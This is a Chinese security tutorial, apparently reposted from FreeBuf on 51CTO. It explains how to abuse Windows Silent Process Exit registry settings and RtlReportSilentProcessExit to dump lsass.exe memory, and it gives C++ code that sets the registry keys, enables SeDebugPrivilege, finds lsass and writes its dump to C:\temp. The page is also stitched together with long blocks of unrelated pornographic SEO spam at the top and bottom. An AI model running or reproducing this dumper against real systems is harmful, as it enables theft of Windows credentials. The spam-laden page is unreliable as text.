精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

一起聊聊靜默退出與Dump

安全 應用安全
如果我們要對某進程使用靜默退出,我們可以在注冊表中如下設置,將GlobalFlag值設置為0x200,當然我們需要先設置ProcessName項指定進程。

前言

由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,文章作者不為此承擔任何責任。(本文僅用于交流學習)

基礎知識

我們先來看看什么是靜默退出,在Windows7開始,就可以設置對指定進程的靜默退出(官方術語是"無提示進程退出")。監視功能不會檢測進程最后一個線程退出時發生的正常進程終止,監視功能不會檢測由內核模式代碼啟動的進程終止。
如果我們要對某進程使用靜默退出,我們可以在注冊表中如下設置,將GlobalFlag值設置為0x200,當然我們需要先設置ProcessName項指定進程

HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ProcessName  
HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ProcessName\\GlobalFlag

我們還可以配置當進程以無提示方式退出時要執行的操作。可以配置通知、事件日志記錄和轉儲文件的創建,因為我們要Dump,因此我們重點關心轉儲文件的創建。
這里有全局配置與應用程序設置兩種

  • 全局設置:適用于靜默退出監視的所有進程,在注冊表中的位置如下HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit
  • 應用程序設置:設用于單個進程的設置,在注冊中設置的位置如下HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\ProcessName

我們這里選擇應用程序設置即可,沒必要使用全局的設置。還有很多設置,但是這里我們只看我們需要使用的,所有我們來看看報告模式,大致就是檢測到進程靜默退出后,執行的操作(但是此設置不能用于全局設置)

ReportingMode有三個值可以設置,這里我們選擇LOCAL_DUMP(0x2)

既然我們使用轉儲文件,那么還需要指定轉儲文件的位置

LocalDumpFolder所對應的值即可我們轉儲文件所存放的位置,那對于我們的轉儲文件有沒有大小的限制呢,默認情況下是沒有限制的。

我們還需要看看轉儲類型

我們可以設置DumpType的值去指定我們需要轉儲的類型,上面圖片可能看不太明白,這不影響,我們可以設置為2,為什么設置為2我們看看如下

然后就是最重要的一步了,如何使進程崩潰(lsass.exe進程崩潰的話會導致機器重啟),顯然真的讓其崩潰肯定不可取。我們可以利用RtlReportSilentProcessExit這個函數API,該API會與Windows錯誤報告服務(WerSvcGroup下的WerSvc)通信,告訴服務該進程正在執行靜默退出。然后,WER服務將啟動WerFault.exe,該文件將轉儲現有進程。但是調用此API不會導致進程退出。所有這一步就解決了。
關于RtlReportSilentProcessExit函數的定義

現在應該思路很清晰了吧,我們可以寫個簡單的利用程序來幫助我們自動化Dump,我們可以利用Windows API函數幫助我們去設置這些值,這里主要用到RegCreateKeyExW、RegSetValueExW,對于這兩個函數的用法與用途,我們來簡單的介紹一下

RegCreateKeyExW

該函數主要用于打開指定的注冊表的項,如果不存在那么就創建,我們編寫一個簡單的程序來看看效果

#include <windows.h>  
#include <iostream>

using namespace std;

int main() {
HKEY hKey \= HKEY\_CURRENT\_USER;
LPCWSTR lpSubKey \= L"Software\\\\test";
HKEY phkResult \= NULL;
DWORD Result \= NULL;

RegCreateKeyExW(hKey, lpSubKey, 0, NULL, REG\_OPTION\_NON\_VOLATILE, KEY\_ALL\_ACCESS, NULL, &phkResult, &Result);
if (Result \== 0x00000001L) {
cout << "\[+\] 密鑰不存在且已創建" << endl;
}
else if (Result \== 0x00000002L)
{
cout << "\[+\] 密鑰已存在" << endl;
}
else
{
cout << "\[-\] RegCreateKeyExW Error" << endl;
}

}

RegSetValueExW

該函數主要就是在指定的子項中設定指定的數值

#include <windows.h>  
#include <iostream>

using namespace std;

int main() {
HKEY hKey \= HKEY\_CURRENT\_USER;
LPCWSTR lpSubKey \= L"Software\\\\test";
HKEY phkResult \= NULL;

LSTATUS Open \= RegOpenKeyExW(hKey, lpSubKey, REG\_OPTION\_NON\_VOLATILE, KEY\_ALL\_ACCESS, &phkResult);
if (Open != ERROR\_SUCCESS) {
cout << "\[-\] Not found" << endl;

return 1;
}
cout << "\[+\] RegOpenKeyExW Success" << endl;

DWORD Test\_Value \= 0x20;
LSTATUS SetValye \= RegSetValueExW(phkResult, L"test", 0, REG\_DWORD, (const BYTE\*)&Test\_Value, sizeof(DWORD));
if (SetValye != ERROR\_SUCCESS) {
cout << "\[-\] RegSetValueExW Error" << endl;

return 1;
}
cout << "\[+\] RegSetValueExW Success" << endl;
}

好了我們現在來總結一下步驟

  • RegCreateKeyExW、RegSetValueExW設置注冊表中的HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName 、HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessName\GlobalFlag
  • RegCreateKeyExW、RegSetValueExW設置注冊表中的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\ProcessName
  • 設置好后獲取目標進程,后調用RtlReportSilentProcessExit

代碼實現

#include <windows.h>
#include <iostream>
#include <string>
#include <tlhelp32.h>
#include <processthreadsapi.h>
#include <DbgHelp.h>

using namespace std;

typedef NTSTATUS(NTAPI* RtlReportSilentProcessExit_func) (
_In_ HANDLE ProcessHandle,
_In_ NTSTATUS ExitStatus
);

RtlReportSilentProcessExit_func RtlReportSilentProcessExit = (RtlReportSilentProcessExit_func)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlReportSilentProcessExit");

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled
);

_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");

int SeDebugPrivilege() {
ULONG t;
RtlAdjustPrivilege(20, TRUE, FALSE, &t);
if (RtlAdjustPrivilege == NULL) {
cout << "[-] Unable to resolve RtlAdjustPrivilege" << endl;
return 1;
}

cout << "[+] RtlAdjustPrivilege Success" << endl;
}

int GetPid() {
HRESULT hr;

DWORD pid;
PROCESSENTRY32 ed;
ed.dwSize = sizeof(PROCESSENTRY32);

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(snapshot, &ed) == TRUE)
{
while (Process32Next(snapshot, &ed) == TRUE)
{
if ((string)ed.szExeFile == "lsass.exe") {
pid = ed.th32ProcessID;
}
}
}
CloseHandle(snapshot);

return pid;
}

int RegeditSet() {
HKEY hKey = HKEY_LOCAL_MACHINE;
LPCWSTR lpSubKey = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\lsass.exe";
HKEY phkResult;
DWORD Result = NULL;
.............................................................
.............................................................
.............................................................
}
else
{
cout << "[-] RegCreateKeyExW SilentProcessExit Error" << endl;
return 1;
}

DWORD ReportingMode = 0x2;
WCHAR LocalDumpFolder[MAX_PATH] = L"C:\\temp";
DWORD DumpType = 0x2;

.............................................................
.............................................................
.............................................................
if (RegSetValue_ReportingMode != ERROR_SUCCESS || RegSetValue_LocalDumpFolder != ERROR_SUCCESS
|| RegSetValue_DumpType != ERROR_SUCCESS) {

cout << "[-] RegSetValueExW has an Error " << endl;
return 1;
}

cout << "[+] Success Setting All" << endl;
}

int main() {
if (RegeditSet() == 1) {
return 1;
}
DWORD pid = GetPid();
cout << "[+] Lsass Pid is:" << pid << endl;

SeDebugPrivilege();
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

if (hProcess == NULL) {
cout << "[-] OpenProcess Error" << endl;
return 1;
}
RtlReportSilentProcessExit(hProcess, 0);
cout << "[+] Path:C:\\tmp" << endl;
}

參考:(建議詳細閱讀完)??https://learn.microsoft.com/zh-cn/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit??

責任編輯:武曉燕 來源: FreeBuf.COM
相關推薦

2022-04-06 08:23:57

指針函數代碼

2024-02-26 00:00:00

架構老化重構

2023-06-30 08:18:51

敏捷開發模式

2023-08-10 08:28:46

網絡編程通信

2023-08-04 08:20:56

DockerfileDocker工具

2022-05-24 08:21:16

數據安全API

2023-09-21 08:16:56

JDK 21向量計算計算

2023-09-10 21:42:31

2023-12-06 08:26:19

Service數據庫

2024-02-20 21:34:16

循環GolangGo

2022-12-07 09:01:14

布局容器VStack?

2021-08-27 07:06:10

IOJava抽象

2024-01-29 09:01:20

React列表模式

2023-07-04 08:06:40

數據庫容器公有云

2025-02-10 02:20:00

微服務SOA架構

2023-11-07 08:13:53

分布式網絡

2024-10-07 09:39:51

2024-08-26 08:34:47

AES加密算法

2024-07-26 09:47:28

2022-10-08 00:00:05

SQL機制結構
點贊
收藏

51CTO技術棧公眾號

国产免费黄色录像| 韩国无码av片在线观看网站| 天堂网免费视频| 欧美丝袜激情| 日韩一级片网址| 国产视频在线观看网站| 日韩二区三区| 麻豆成人在线观看| 久久久之久亚州精品露出| 黄色短视频在线观看| 精品三级在线| 亚洲va国产va欧美va观看| 日本成人黄色| 成人高潮片免费视频| 欧美亚洲专区| 欧美成人久久久| 久久久久久久久久久久久久久| 四虎影视成人精品国库在线观看| 性久久久久久久久| 伊人久久青草| 青青色在线视频| 国产一区二区三区综合| 国产大片精品免费永久看nba| 天天干中文字幕| 亚洲欧洲av| 日韩精品一区二区三区蜜臀 | 天天色综合天天| 国产午夜精品美女视频明星a级| 亚洲这里只有精品| 成人线上视频| 五月婷婷色综合| 色综合天天综合网天天看片| 欧美日韩另类在线| 美女国产一区二区| 日韩欧美亚洲另类制服综合在线| 免费成人午夜视频| 欧美黑人猛交| 久久久精品午夜少妇| 欧美精品生活片| 欧美成人短视频| 九热爱视频精品视频| 精品久久久久久久人人人人传媒 | 视频在线观看91| 国模极品一区二区三区| 青娱乐av在线| 一区二区三区四区日韩| 中文字幕一区电影| 99热这里只有精品在线播放| 欧美久久天堂| 午夜欧美视频在线观看| 亚洲理论电影在线观看| 神马午夜伦理不卡| 亚洲一级二级在线| 黄色三级中文字幕| 欧美色图天堂| 亚洲一区在线免费观看| 91网站在线观看免费| 亚洲区欧洲区| 亚洲国产精品久久不卡毛片| 精品国产乱码久久久久久蜜柚| 国产a级免费视频| 久久国产人妖系列| 成人免费看黄网站| 国产精品熟女久久久久久| 精品一区二区三区免费| 川上优av一区二区线观看| 一二区在线观看| 极品销魂美女一区二区三区| 成人午夜在线视频一区| 国产免费黄色片| 国产91丝袜在线播放0| 丁香五月网久久综合| 色哟哟国产精品色哟哟| 久久影院视频免费| 日韩.欧美.亚洲| 在线播放日本| 亚洲免费电影在线| av在线播放天堂| 依依综合在线| 欧美三区在线观看| 亚洲高清在线不卡| 中文字幕21页在线看| 久久久久毛片免费观看| 日韩电影网1区2区| 国产精品一区二区三区久久久| 亚洲一二区视频| 国产一区二区三区免费在线观看| 国产精品av一区| 日本中文字幕电影在线观看| 亚洲国产精品二十页| 亚洲免费av网| 成人在线二区| 亚洲免费在线视频| 免费黄色日本网站| 成人免费高清观看| 色哟哟日韩精品| 天天综合天天添夜夜添狠狠添| 88久久精品| 一本色道久久综合亚洲精品小说| 91杏吧porn蝌蚪| 午夜一级在线看亚洲| 成人激情视频在线观看| 天天摸夜夜添狠狠添婷婷| 国产精品三级视频| 欧美精品自拍视频| 欧美高清免费| 日韩av中文字幕在线播放| 久久精品一区二区三区四区五区| av不卡在线看| 亚洲专区中文字幕| 青梅竹马是消防员在线| 亚洲精选视频在线| 999精品网站| 成人资源在线| 久久综合久久八八| 波多野结衣不卡| 老司机精品久久| 粉嫩av免费一区二区三区| 川上优的av在线一区二区| 亚洲成av人片在线观看无码| 午夜精品免费看| 国产精品嫩草影院在线看| 久久久久久久久91| 国产视频aaa| 中文无字幕一区二区三区| 欧美成人一区二区在线观看| 日韩成人18| 亚洲国产另类久久精品 | 国产精品毛片一区视频播| 91视频免费观看| 隔壁人妻偷人bd中字| 伊人久久大香| 国产亚洲欧洲高清| 天天干天天干天天| 成人av高清在线| 久久亚洲国产成人精品无码区| 久久av日韩| 中文字幕亚洲一区在线观看| 在线观看视频二区| 国产精品少妇自拍| 亚洲 欧美 日韩系列| 国产一区二区三区电影在线观看| 2018日韩中文字幕| 免费无码国产精品| 久久亚洲一区二区三区四区| 日本一道本久久| 精品人人人人| 久久久久久亚洲| 欧洲成人一区二区三区| 一区二区三区高清在线| 亚洲熟女一区二区三区| 黄色亚洲精品| 国外成人在线视频网站| 999福利在线视频| 日本韩国视频一区二区| 久久精品国产亚洲av久| 三级久久三级久久久| 日本一区二区三区视频免费看| 欧美gay视频| 亚洲天堂免费观看| 欧美高清69hd| 日韩一区中文字幕| 亚洲熟妇一区二区| 日韩一级网站| 欧美一区激情视频在线观看| 日韩精品第一| 精品成人一区二区三区四区| 免费毛片在线播放免费| 本田岬高潮一区二区三区| 草草久久久无码国产专区| 午夜黄色福利视频| 成人黄色免费视频| 国产欧美精品一区二区色综合| 日本一极黄色片| 成人午夜av| 亚洲a∨日韩av高清在线观看| 成人欧美在线| 一区二区三区四区在线播放| 欧美午夜精品一区二区| 99国产精品私拍| 日本一区二区三区四区高清视频| 欧美一级网址| 欧美激情综合亚洲一二区| 深夜福利视频一区| 欧美日韩亚洲综合一区| 激情综合网五月天| 久久久久久久精| 久久精品亚洲天堂| 在线综合视频| 一区二区三区我不卡| av自拍一区| 国产精品久久久久秋霞鲁丝| 五月天婷婷在线观看| 91激情在线视频| 日韩视频中文字幕在线观看| 91视频91自| 日本一二三四区视频| 国产精品婷婷| 亚洲天堂第一区| 中文精品一区二区| 99国精产品一二二线| 亚洲s色大片| 精品国产免费久久| 真实新婚偷拍xxxxx| 亚洲一本大道在线| 久久久久99精品成人| 成人高清在线视频| 日韩欧美理论片| 日韩经典一区二区| 日韩国产欧美亚洲| 欧美高清一区| 亚洲综合小说区| 自拍偷自拍亚洲精品被多人伦好爽| 久久在线视频在线| www.亚洲资源| 日韩精品视频免费| 成人爽a毛片一区二区| 在线不卡中文字幕| 国产精品久久久久久久久夜色| 亚洲综合无码一区二区| 波多野结衣一二三四区| 91在线国产福利| 成年人小视频在线观看| 国产一区不卡精品| 亚洲欧美日韩综合网| 久久精品伊人| 日韩欧美国产免费| 亚洲欧洲日本mm| 欧美高清中文字幕| 国模吧视频一区| 国产亚洲精品久久久久久久| 外国成人激情视频| 91热福利电影| av亚洲一区| 国产精品成人在线| 黄色亚洲网站| 欧美综合国产精品久久丁香| free性m.freesex欧美| 久久久久一本一区二区青青蜜月 | 中文字幕日韩欧美| 国产区视频在线| 亚洲欧美中文日韩在线| 女人天堂在线| 亚洲欧美日韩国产成人| 亚洲日本在线播放| 亚洲跨种族黑人xxx| 欧美xxx.com| 亚洲天堂av在线免费| 国产日产精品久久久久久婷婷| 亚洲人午夜精品免费| 毛片网站在线观看| 亚洲色图在线观看| 成黄免费在线| 日韩中文在线观看| 黄色动漫在线观看| 欧美高清电影在线看| 国产精品偷拍| 97超级碰碰人国产在线观看| 亚洲人成午夜免电影费观看| 日韩美女在线观看| 国产精品黄色片| 亚洲字幕在线观看| 国产一区二区三区亚洲| 麻豆亚洲一区| 国产专区精品| 动漫一区二区在线| 亚洲老女人视频免费| 视频一区视频二区视频| 999国产精品视频| 国产日韩欧美大片| 99国产精品视频免费观看一公开 | 久久网中文字幕| 欧美日韩性视频| 中文字幕av影视| 欧美一激情一区二区三区| 免费看日韩av| 国产亚洲人成a一在线v站| 黄色成人影院| 7m第一福利500精品视频| 日韩漫画puputoon| 99re在线国产| 精品国产中文字幕第一页 | 99视频精品免费观看| 18岁视频在线观看| 国产麻豆成人精品| 亚洲天堂久久新| 欧美激情一区三区| 久久免费黄色网址| 91豆麻精品91久久久久久| 国产伦精品一区二区三区免.费 | 在线日本高清免费不卡| 男人女人黄一级| 亚洲美女视频在线免费观看| www.日日操| 国产91高潮流白浆在线麻豆| 一级肉体全黄裸片| 亚洲一区二区三区四区五区黄| 国产女主播喷水视频在线观看 | 伊人久久成人| 奇米影音第四色| www.色精品| 亚洲一二三在线观看| 国产情人综合久久777777| 最新一区二区三区| 91福利小视频| 天天插天天干天天操| 久久国产精品电影| 成人福利一区二区| 精品国产一区二区三区久久久久久| 国产精品精品国产一区二区| 人妻精品无码一区二区三区| 国产在线不卡一卡二卡三卡四卡| www.狠狠爱| 午夜亚洲福利老司机| 99国产精品一区二区三区| 国产一区二区三区丝袜| 免费v片在线观看| 国产精品国产精品| 日韩成人午夜| 久久亚洲a v| 国产综合色视频| 国产无遮挡在线观看| 欧美视频免费在线| 日本久久一级片| 欧美日韩国产第一页| 国产精品日本一区二区不卡视频| 图片区小说区区亚洲五月| 男人的天堂成人在线| 国产精品福利导航| 国产日本欧美一区二区| 国产精品500部| 欧美性猛交xxxx偷拍洗澡| 亚洲成人久久精品| 欧美成aaa人片在线观看蜜臀| 国产黄色一区| 亚洲国产精品www| 热久久久久久久| 日本r级电影在线观看| 欧美国产一区二区| 日本黄色中文字幕| 亚洲少妇中文在线| 日韩女优一区二区| 香蕉久久99| 亚洲免费久久| 日本成人中文字幕在线视频| 免费视频91蜜桃| 欧洲另类一二三四区| 国产在线一在线二| 国产精品白丝jk喷水视频一区| 九九精品久久| 毛片毛片毛片毛片毛片毛片毛片毛片毛片 | 国产精品护士白丝一区av| 在线视频播放大全| 久久久999成人| 欧美午夜在线播放| 丰满人妻一区二区三区53号| 国产1区2区3区精品美女| 久久高清免费视频| 日韩精品极品在线观看| 欧美xoxoxo| 一区二区在线观| 国产成人综合亚洲91猫咪| 国产真实乱偷精品视频| 日韩激情av在线播放| 日本成人片在线| 亚洲美女自拍偷拍| 成人黄色a**站在线观看| 91国产丝袜播放在线| 一本一道久久a久久精品逆3p | 精品一区免费av| 久久久久成人网站| 亚洲欧美激情在线视频| 国产精品第一| 久久这里只有精品18| 久久久久国产精品厨房| 一级片在线观看视频| 久久久久久999| 久久99国内| 日本一二三区在线| 精品国产乱码久久久久久天美 | 中文欧美字幕免费| www.精品视频| 国产成人97精品免费看片| 99久久婷婷| 日韩片在线观看| 欧美精品少妇一区二区三区 | 精品欧美一区二区三区| 中文字幕在线播放| 鬼打鬼之黄金道士1992林正英| 久久久噜噜噜| 免费在线观看一级片| 亚洲热线99精品视频| 国产日韩在线观看视频| 99精品视频在线看| 日韩毛片一二三区| 欧美女子与性| 动漫3d精品一区二区三区 | 92国产精品久久久久首页| 亚洲一区免费| 男人与禽猛交狂配|